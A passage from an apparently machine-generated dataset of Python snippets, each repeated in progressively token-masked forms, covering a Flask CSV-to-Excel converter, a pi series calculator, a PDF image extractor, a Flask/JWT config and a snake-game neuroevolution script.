process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n",
"<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n",
"<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'POST':\n if 'file' not in request.files:\n print('No file attached in request')\n return redirect(request.url)\n file = request.files['file']\n if file.filename == '':\n print('No file selected')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename\n ), filename)\n return redirect(url_for('uploaded_file', filename=filename))\n return render_template('index.html')\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\ndef check_encoding(path, filename):\n with open(path, 'rb') as rawdata:\n result = chardet.detect(rawdata.read(10000))\n df = pd.read_csv(path, encoding=result['encoding'])\n GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit(\n '.', 1)[0] + '.xlsx')\n df.to_excel(GFG, index=False, encoding='utf-8')\n GFG.save()\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\n<function token>\n\n\[email protected]('/uploads/<filename>')\ndef uploaded_file(filename):\n return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.\n rsplit('.', 1)[0] + '.xlsx', as_attachment=True)\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower(\n ) in ALLOWED_EXTENSIONS\n\n\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\ndef process_file(path, filename):\n check_encoding(path, filename)\n\n\n<function token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,964 |
466148395a4141793b5f92c84513fd093876db76
|
#--------------------------------------------------------
# File------------project2.py
# Developer-------Paige Weber
# Course----------CS1213-03
# Project---------Project #1
# Due-------------September 26, 2017
#
# This program uses Gregory-Leibniz series to compute
# an approximate value of pi.
#--------------------------------------------------------
number_of_terms = int(input("How many terms? "))
number_of_terms = number_of_terms + 1
if number_of_terms >= 1:
add_approximation = 0
for count in range (1, number_of_terms):
approximation = (((-1)**(count + 1))/(2 * count - 1))
add_approximation = approximation + add_approximation
solution = add_approximation * 4
print("Approxiation of pi: %1.5f"%solution)
else:
print("The number of terms must be greater than zero.")
|
[
"#--------------------------------------------------------\n# File------------project2.py\n# Developer-------Paige Weber\n# Course----------CS1213-03\n# Project---------Project #1\n# Due-------------September 26, 2017\n#\n# This program uses Gregory-Leibniz series to compute\n# an approximate value of pi.\n#--------------------------------------------------------\nnumber_of_terms = int(input(\"How many terms? \"))\nnumber_of_terms = number_of_terms + 1\nif number_of_terms >= 1:\n\n add_approximation = 0\n\n for count in range (1, number_of_terms):\n approximation = (((-1)**(count + 1))/(2 * count - 1))\n add_approximation = approximation + add_approximation\n solution = add_approximation * 4\n\n print(\"Approxiation of pi: %1.5f\"%solution)\n\nelse:\n print(\"The number of terms must be greater than zero.\")\n",
"number_of_terms = int(input('How many terms? '))\nnumber_of_terms = number_of_terms + 1\nif number_of_terms >= 1:\n add_approximation = 0\n for count in range(1, number_of_terms):\n approximation = (-1) ** (count + 1) / (2 * count - 1)\n add_approximation = approximation + add_approximation\n solution = add_approximation * 4\n print('Approxiation of pi: %1.5f' % solution)\nelse:\n print('The number of terms must be greater than zero.')\n",
"<assignment token>\nif number_of_terms >= 1:\n add_approximation = 0\n for count in range(1, number_of_terms):\n approximation = (-1) ** (count + 1) / (2 * count - 1)\n add_approximation = approximation + add_approximation\n solution = add_approximation * 4\n print('Approxiation of pi: %1.5f' % solution)\nelse:\n print('The number of terms must be greater than zero.')\n",
"<assignment token>\n<code token>\n"
] | false |
9,965 |
5f237a820832181395de845cc25b661878c334e4
|
final=[]
refer={2:'abc',3:'def',4:'ghi',5:'jkl',6:'mno',7:'pqrs',8:'tuv',9:'wxyz'}
##Complete this function
def possibleWords(a,N,index=0,s=''):
##Your code here
if index==N:
final.append(s)
print(s, end=' ')
return
possible_chars=refer[a[0]]
for i in possible_chars:
s+= i
possibleWords(a[1:],N,index+1,s)
s=s[:-1]
|
[
"final=[]\nrefer={2:'abc',3:'def',4:'ghi',5:'jkl',6:'mno',7:'pqrs',8:'tuv',9:'wxyz'}\n##Complete this function\ndef possibleWords(a,N,index=0,s=''):\n ##Your code here\n \n if index==N:\n final.append(s)\n print(s, end=' ')\n return\n \n possible_chars=refer[a[0]]\n for i in possible_chars:\n \n s+= i\n possibleWords(a[1:],N,index+1,s)\n s=s[:-1]\n \n \n \n \n",
"final = []\nrefer = {(2): 'abc', (3): 'def', (4): 'ghi', (5): 'jkl', (6): 'mno', (7):\n 'pqrs', (8): 'tuv', (9): 'wxyz'}\n\n\ndef possibleWords(a, N, index=0, s=''):\n if index == N:\n final.append(s)\n print(s, end=' ')\n return\n possible_chars = refer[a[0]]\n for i in possible_chars:\n s += i\n possibleWords(a[1:], N, index + 1, s)\n s = s[:-1]\n",
"<assignment token>\n\n\ndef possibleWords(a, N, index=0, s=''):\n if index == N:\n final.append(s)\n print(s, end=' ')\n return\n possible_chars = refer[a[0]]\n for i in possible_chars:\n s += i\n possibleWords(a[1:], N, index + 1, s)\n s = s[:-1]\n",
"<assignment token>\n<function token>\n"
] | false |
9,966 |
c6113088f45951bc4c787760b6ca0138265fb83f
|
import requests
from os.path import join, exists
import os
import fitz
from tqdm import tqdm
from pathlib import Path
import tempfile
def download_pdf(url, folder, name):
r = requests.get(url, allow_redirects=True)
file_path = join(folder, name + ".pdf")
open(file_path, 'wb').write(r.content)
return file_path
def download_pdf_to_temp(url):
new_file, filename = tempfile.mkstemp()
r = requests.get(url, allow_redirects=True)
os.write(new_file, r.content)
return new_file, filename
def save_pdf_image(file_path, dest_path):
Path(dest_path).mkdir(parents=True, exist_ok=True)
doc = fitz.open(file_path)
i = 1
images_name = list()
xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not(xref[0] in [10, 25, 26])])
maximum_digits = len(str(len(xrefs)*3))
for xref in tqdm(xrefs):
pix = fitz.Pixmap(doc, xref)
index = f'{i:0{maximum_digits}}'
img_name = "image--{}.jpg".format(index)
img_path = join(dest_path, img_name)
if not(exists(img_path)):
if pix.n >= 5:
pix = fitz.Pixmap(fitz.csRGB, pix)
pix.writeImage(img_path)
images_name.append(xref)
i += 3
def pdf_2_images(url, dest_path):
new_file, filename = download_pdf_to_temp(url)
save_pdf_image(filename, dest_path)
os.close(new_file)
|
[
"import requests\nfrom os.path import join, exists\nimport os\nimport fitz\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport tempfile\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + \".pdf\")\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\ndef save_pdf_image(file_path, dest_path):\n Path(dest_path).mkdir(parents=True, exist_ok=True)\n doc = fitz.open(file_path)\n i = 1\n images_name = list()\n xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not(xref[0] in [10, 25, 26])])\n maximum_digits = len(str(len(xrefs)*3))\n for xref in tqdm(xrefs):\n pix = fitz.Pixmap(doc, xref)\n index = f'{i:0{maximum_digits}}'\n img_name = \"image--{}.jpg\".format(index)\n img_path = join(dest_path, img_name)\n if not(exists(img_path)):\n if pix.n >= 5:\n pix = fitz.Pixmap(fitz.csRGB, pix)\n pix.writeImage(img_path)\n images_name.append(xref)\n i += 3\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)",
"import requests\nfrom os.path import join, exists\nimport os\nimport fitz\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport tempfile\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\ndef save_pdf_image(file_path, dest_path):\n Path(dest_path).mkdir(parents=True, exist_ok=True)\n doc = fitz.open(file_path)\n i = 1\n images_name = list()\n xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref\n [0] in [10, 25, 26]])\n maximum_digits = len(str(len(xrefs) * 3))\n for xref in tqdm(xrefs):\n pix = fitz.Pixmap(doc, xref)\n index = f'{i:0{maximum_digits}}'\n img_name = 'image--{}.jpg'.format(index)\n img_path = join(dest_path, img_name)\n if not exists(img_path):\n if pix.n >= 5:\n pix = fitz.Pixmap(fitz.csRGB, pix)\n pix.writeImage(img_path)\n images_name.append(xref)\n i += 3\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n",
"<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\ndef save_pdf_image(file_path, dest_path):\n Path(dest_path).mkdir(parents=True, exist_ok=True)\n doc = fitz.open(file_path)\n i = 1\n images_name = list()\n xrefs = sorted([xref[0] for xref in doc.getPageImageList(0) if not xref\n [0] in [10, 25, 26]])\n maximum_digits = len(str(len(xrefs) * 3))\n for xref in tqdm(xrefs):\n pix = fitz.Pixmap(doc, xref)\n index = f'{i:0{maximum_digits}}'\n img_name = 'image--{}.jpg'.format(index)\n img_path = join(dest_path, img_name)\n if not exists(img_path):\n if pix.n >= 5:\n pix = fitz.Pixmap(fitz.csRGB, pix)\n pix.writeImage(img_path)\n images_name.append(xref)\n i += 3\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n",
"<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\ndef download_pdf_to_temp(url):\n new_file, filename = tempfile.mkstemp()\n r = requests.get(url, allow_redirects=True)\n os.write(new_file, r.content)\n return new_file, filename\n\n\n<function token>\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n",
"<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\n<function token>\n<function token>\n\n\ndef pdf_2_images(url, dest_path):\n new_file, filename = download_pdf_to_temp(url)\n save_pdf_image(filename, dest_path)\n os.close(new_file)\n",
"<import token>\n\n\ndef download_pdf(url, folder, name):\n r = requests.get(url, allow_redirects=True)\n file_path = join(folder, name + '.pdf')\n open(file_path, 'wb').write(r.content)\n return file_path\n\n\n<function token>\n<function token>\n<function token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n"
] | false |
9,967 |
f20e2227821c43de17c116d8c11233eda53ab631
|
import os
import logging
from flask import Flask
from flask_orator import Orator
from flask_jwt_extended import JWTManager
from dotenv import load_dotenv
load_dotenv(verbose=True)
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
app.config['JSON_SORT_KEYS'] = False
app.config['ORATOR_DATABASES'] = {
'default': 'mysql',
'mysql': {
'driver': 'mysql',
'host': os.getenv('DB_HOST'),
'database': os.getenv('DB_NAME'),
'user': os.getenv('DB_USER'),
'password': os.getenv('DB_PASSWORD'),
'prefix': '',
'log_queries': bool(os.getenv('LOG_QUERIES'))
}
}
app.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') # Change this!
app.config['JWT_TOKEN_LOCATION'] = ['headers'] # headers', 'cookies', 'query_string', 'json'
db = Orator(app)
jwt = JWTManager(app)
if bool(os.getenv('IS_DEV')):
logger = logging.getLogger('orator.connection.queries')
logger.setLevel(logging.DEBUG)
formatter = logging.Formatter(
'%(elapsed_time)sms %(query)s'
)
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logger.addHandler(handler)
@app.route('/')
def index():
return os.getenv('DB_HOST')
|
[
"import os\nimport logging\nfrom flask import Flask\nfrom flask_orator import Orator\nfrom flask_jwt_extended import JWTManager\nfrom dotenv import load_dotenv\n\n\nload_dotenv(verbose=True)\n\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY')\napp.config['JSON_SORT_KEYS'] = False\napp.config['ORATOR_DATABASES'] = {\n 'default': 'mysql',\n 'mysql': {\n 'driver': 'mysql',\n 'host': os.getenv('DB_HOST'),\n 'database': os.getenv('DB_NAME'),\n 'user': os.getenv('DB_USER'),\n 'password': os.getenv('DB_PASSWORD'),\n 'prefix': '',\n 'log_queries': bool(os.getenv('LOG_QUERIES'))\n }\n}\n\napp.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY') # Change this!\napp.config['JWT_TOKEN_LOCATION'] = ['headers'] # headers', 'cookies', 'query_string', 'json'\n\ndb = Orator(app)\njwt = JWTManager(app)\n\nif bool(os.getenv('IS_DEV')):\n\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n\n formatter = logging.Formatter(\n '%(elapsed_time)sms %(query)s'\n )\n\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n",
"import os\nimport logging\nfrom flask import Flask\nfrom flask_orator import Orator\nfrom flask_jwt_extended import JWTManager\nfrom dotenv import load_dotenv\nload_dotenv(verbose=True)\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY')\napp.config['JSON_SORT_KEYS'] = False\napp.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver':\n 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'),\n 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'),\n 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}}\napp.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY')\napp.config['JWT_TOKEN_LOCATION'] = ['headers']\ndb = Orator(app)\njwt = JWTManager(app)\nif bool(os.getenv('IS_DEV')):\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(elapsed_time)sms %(query)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n",
"<import token>\nload_dotenv(verbose=True)\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY')\napp.config['JSON_SORT_KEYS'] = False\napp.config['ORATOR_DATABASES'] = {'default': 'mysql', 'mysql': {'driver':\n 'mysql', 'host': os.getenv('DB_HOST'), 'database': os.getenv('DB_NAME'),\n 'user': os.getenv('DB_USER'), 'password': os.getenv('DB_PASSWORD'),\n 'prefix': '', 'log_queries': bool(os.getenv('LOG_QUERIES'))}}\napp.config['JWT_SECRET_KEY'] = os.getenv('JWT_SECRET_KEY')\napp.config['JWT_TOKEN_LOCATION'] = ['headers']\ndb = Orator(app)\njwt = JWTManager(app)\nif bool(os.getenv('IS_DEV')):\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(elapsed_time)sms %(query)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n",
"<import token>\nload_dotenv(verbose=True)\n<assignment token>\nif bool(os.getenv('IS_DEV')):\n logger = logging.getLogger('orator.connection.queries')\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(elapsed_time)sms %(query)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n",
"<import token>\n<code token>\n<assignment token>\n<code token>\n\n\[email protected]('/')\ndef index():\n return os.getenv('DB_HOST')\n",
"<import token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n"
] | false |
9,968 |
beccae96b3b2c9dcd61bb538d07b85441a73662e
|
number = int(input("entrez un entier:"))
exposant = int(input("entrez un exposant:"))
def puissance(x, n):
if n == 0:
return 1
else:
return x * puissance(x, n-1)
print(puissance(number, exposant))
|
[
"number = int(input(\"entrez un entier:\"))\nexposant = int(input(\"entrez un exposant:\"))\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n-1)\n\n\nprint(puissance(number, exposant))\n",
"number = int(input('entrez un entier:'))\nexposant = int(input('entrez un exposant:'))\n\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n - 1)\n\n\nprint(puissance(number, exposant))\n",
"<assignment token>\n\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n - 1)\n\n\nprint(puissance(number, exposant))\n",
"<assignment token>\n\n\ndef puissance(x, n):\n if n == 0:\n return 1\n else:\n return x * puissance(x, n - 1)\n\n\n<code token>\n",
"<assignment token>\n<function token>\n<code token>\n"
] | false |
9,969 |
fc1b9ab1fb1ae71d70b3bf5c879a5f604ddef997
|
import random
import sys
import math
import numpy as np
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation
from snake_game import Snake
from snake_game import Fruit
import pygame
from pygame.locals import *
# Neural Network globals
total_models = 50
current_pool = []
fitness = []
generation = 264
# 1 if want to save pool, 0 if not
save = 0
save_location = "Saved_Models/model"
load = 1
load_location = "Saved_Models-better/model"
# Game configurations
WIDTH = 480
HEIGHT = 480
GRID_D = 12
BLOCK_W = WIDTH / GRID_D
BLOCK_H = HEIGHT / GRID_D
MAX_MOVES = 150
score = []
# Save models to file
def save_pool():
for i in range(total_models):
current_pool[i].save_weights(save_location + str(i) + ".keras")
print("Pool saved")
def create_model():
'''
Create Neural Network as a keras model
'''
model = Sequential()
model.add(Dense(12, input_dim = 8, activation = 'relu'))
model.add(Dense(16, activation = 'relu'))
model.add(Dense(4, activation = 'sigmoid'))
model.compile(loss='mse', optimizer='adam')
return model
def predict_direction(snake, fruit, model_num):
'''
This function feeds information into the model, then determines
which direction the snake should go
'''
direction = snake.check_head()
fruit = snake.check_fruit(fruit)
n_input = np.concatenate([direction, fruit])
n_input = np.atleast_2d(n_input)
output = current_pool[model_num].predict(n_input, 1)
return output.argmax()
def model_crossover(parent_1, parent_2):
'''
Produce offspring based on the best parents
'''
global current_pool
# Weight of parents
weight1 = current_pool[parent_1].get_weights()
weight2 = current_pool[parent_2].get_weights()
new_weight1 = weight1
new_weight2 = weight2
# Gene
gene = random.randint(0, len(new_weight1) - 1)
new_weight1[gene] = weight2[gene]
new_weight2[gene] = weight1[gene]
return np.asarray([new_weight1, new_weight2])
def model_mutate(weights):
'''
Mutate the weights of a model
'''
for i in range(len(weights)):
for j in range(len(weights[i])):
if (random.uniform(0, 1) > .7):
change = random.uniform(-.5,.5)
weights[i][j] += change
return weights
def roulette_selection(total_fitness):
global fitness
choice = random.randint(0, total_fitness)
parent = 0
current = 0
for idx in range(total_models):
current += fitness[idx]
if current > choice:
parent = idx
break
return parent
def genetic_updates():
global current_pool
global fitness
global generation
new_weights = []
# Calculate total fitness
total_fitness = sum(fitness)
# Breeding time
for i in range(total_models // 2):
# Pick two parents
parent_1 = roulette_selection(total_fitness)
parent_2 = roulette_selection(total_fitness)
# Model crossover between two parents
new = model_crossover(parent_1, parent_2)
# Mutate models
update_w1 = model_mutate(new[0])
update_w2 = model_mutate(new[1])
new_weights.append(update_w1)
new_weights.append(update_w2)
# Set new weights, reset fitness
for i in range(len(new_weights)):
current_pool[i].set_weights(new_weights[i])
generation += 1
return
def check_if_closer(snake, fruit):
head = snake.position[0]
prev = snake.position[1]
# Calculate the heads distance from the fruit, and the previous spot
# to see if it got closer
head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2)
prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2)
if head_dis > prev_dis:
return False
return True
class App:
'''
Main App for game
'''
def __init__(self):
self._running = True
self._display_surf = None
self.size = self.width, self.height = WIDTH, HEIGHT
self.clock = None
self.snake = Snake()
self.fruit = Fruit()
self.pause = False
self.moves = 0
self.frames = 11
def on_init(self):
pygame.init()
self._display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)
self._running = True
self.clock = pygame.time.Clock()
def on_event(self, event):
# Quit game
if event.type == pygame.QUIT:
self._running = False
# Change direction of snake
if event.type == pygame.KEYDOWN:
if event.key == K_UP:
# Increase speed of game
if self.frames < 1000000000:
self.frames *= 10
elif event.key == K_DOWN:
# Decrease speed of game
if self.frames > 10:
self.frames /= 10
elif event.key == K_p:
self.pause = not self.pause
elif event.key == K_q:
self.on_cleanup()
def on_loop(self, model_num):
self.snake.alive = self.snake.collision(self.snake.position[0])
if self.snake.alive is False:
return
if self.snake.eat(self.fruit) is True:
# Adjust fitness, reset move counter
fitness[model_num] += 150
score[model_num] += 1
self.moves = 0
self.snake.update()
if check_if_closer(self.snake, self.fruit):
# Reward snake for moving towards fruit
fitness[model_num] += 10
self.moves += 1
def on_render(self, model_num):
self._display_surf.fill((0,124,0))
# Fill every other space to create a multi color grid
for i in range(0, int(GRID_D)):
for j in range(0, int(GRID_D)):
if (i + j) % 2 == 0:
block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (BLOCK_W, BLOCK_H)))
pygame.draw.rect(self._display_surf, (0, 200, 0), block)
# Draw sanke and fruit
self.fruit.draw(self._display_surf)
self.snake.draw(self._display_surf)
pygame.display.set_caption("Gen: " + str(generation) + " Model: " + str(model_num) + " Score: " + str(self.snake.score) + " Tick " + str(self.frames))
pygame.display.update()
def on_cleanup(self):
pygame.quit()
sys.exit()
def on_execute(self, i):
if self.on_init() == False:
self._running = False
while (self._running):
for event in pygame.event.get():
self.on_event(event)
self.snake.direction = predict_direction(self.snake, self.fruit, i)
# Checks if game is paused
if self.pause is False:
self.on_loop(i)
self.on_render(i)
self.clock.tick(self.frames)
# Reset when snake dies
if self.snake.alive == False or self.moves == MAX_MOVES:
print(int(self.snake.score))
self.snake.reset()
self.fruit.random_generate()
self.moves = 0
# Print fitness
print(fitness[i])
break
# Clean up and print score
# self.on_cleanup()
print(int(self.snake.score))
if __name__ == "__main__" :
# Init models
for i in range(total_models):
model = create_model()
current_pool.append(model)
fitness.append(-100)
score.append(0)
if load == 1:
for i in range(total_models):
current_pool[i].load_weights(load_location + str(i) + ".keras")
theApp = App()
while True:
# Reset fitness scores and player scores
for i in range(total_models):
fitness[i] = 0
score[i] = 0
# Play game for each model
for i in range(total_models):
theApp.on_execute(i)
# Print high score to screen
print("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation))
# Write these values to a file
# fi = open("results.txt", "a+")
# fi.write("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation) + "\r\n")
# fi.close()
# Save pool
if save == 1:
save_pool()
genetic_updates()
|
[
"import random\nimport sys\nimport math\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation\n\nfrom snake_game import Snake\nfrom snake_game import Fruit\nimport pygame\nfrom pygame.locals import *\n\n# Neural Network globals\ntotal_models = 50\ncurrent_pool = []\nfitness = []\ngeneration = 264\n\n# 1 if want to save pool, 0 if not\nsave = 0\nsave_location = \"Saved_Models/model\"\nload = 1\nload_location = \"Saved_Models-better/model\"\n\n# Game configurations\nWIDTH = 480\nHEIGHT = 480\nGRID_D = 12\nBLOCK_W = WIDTH / GRID_D\nBLOCK_H = HEIGHT / GRID_D\nMAX_MOVES = 150\nscore = []\n\n# Save models to file\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + \".keras\")\n print(\"Pool saved\")\n\n\ndef create_model():\n '''\n Create Neural Network as a keras model\n '''\n model = Sequential()\n model.add(Dense(12, input_dim = 8, activation = 'relu'))\n model.add(Dense(16, activation = 'relu'))\n model.add(Dense(4, activation = 'sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n\n return model\n\ndef predict_direction(snake, fruit, model_num):\n '''\n This function feeds information into the model, then determines\n which direction the snake should go\n '''\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n\n output = current_pool[model_num].predict(n_input, 1)\n \n return output.argmax()\n\ndef model_crossover(parent_1, parent_2):\n '''\n Produce offspring based on the best parents\n '''\n global current_pool\n\n # Weight of parents\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n\n # Gene\n gene = random.randint(0, len(new_weight1) - 1)\n\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\ndef model_mutate(weights):\n '''\n Mutate the weights of a model\n '''\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if (random.uniform(0, 1) > .7):\n change = random.uniform(-.5,.5)\n weights[i][j] += change\n \n return weights\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n\n current = 0\n for idx in 